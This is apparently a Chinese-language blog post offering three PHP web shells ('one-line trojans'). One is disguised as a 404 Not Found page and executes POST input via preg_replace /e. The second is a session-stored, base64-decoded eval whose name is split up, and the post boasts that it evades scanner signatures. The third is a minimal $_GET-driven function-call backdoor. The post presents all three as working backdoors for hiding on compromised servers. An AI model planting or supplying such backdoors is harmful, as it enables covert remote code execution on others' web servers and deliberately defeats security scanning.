超级强悍的php一句话木马-少羽's Blog ღ

超级强悍的php一句话木马

利用404页面隐藏PHP小马
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
无特征隐藏PHP一句话

<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode']，然后执行$_SESSION['theCode']，亮点是没有特征码。用扫描工具来检查代码的话，是不会报警的，达到目的了。

超级隐蔽的PHP后门
<?php $_GET[a]($_GET[b]);?>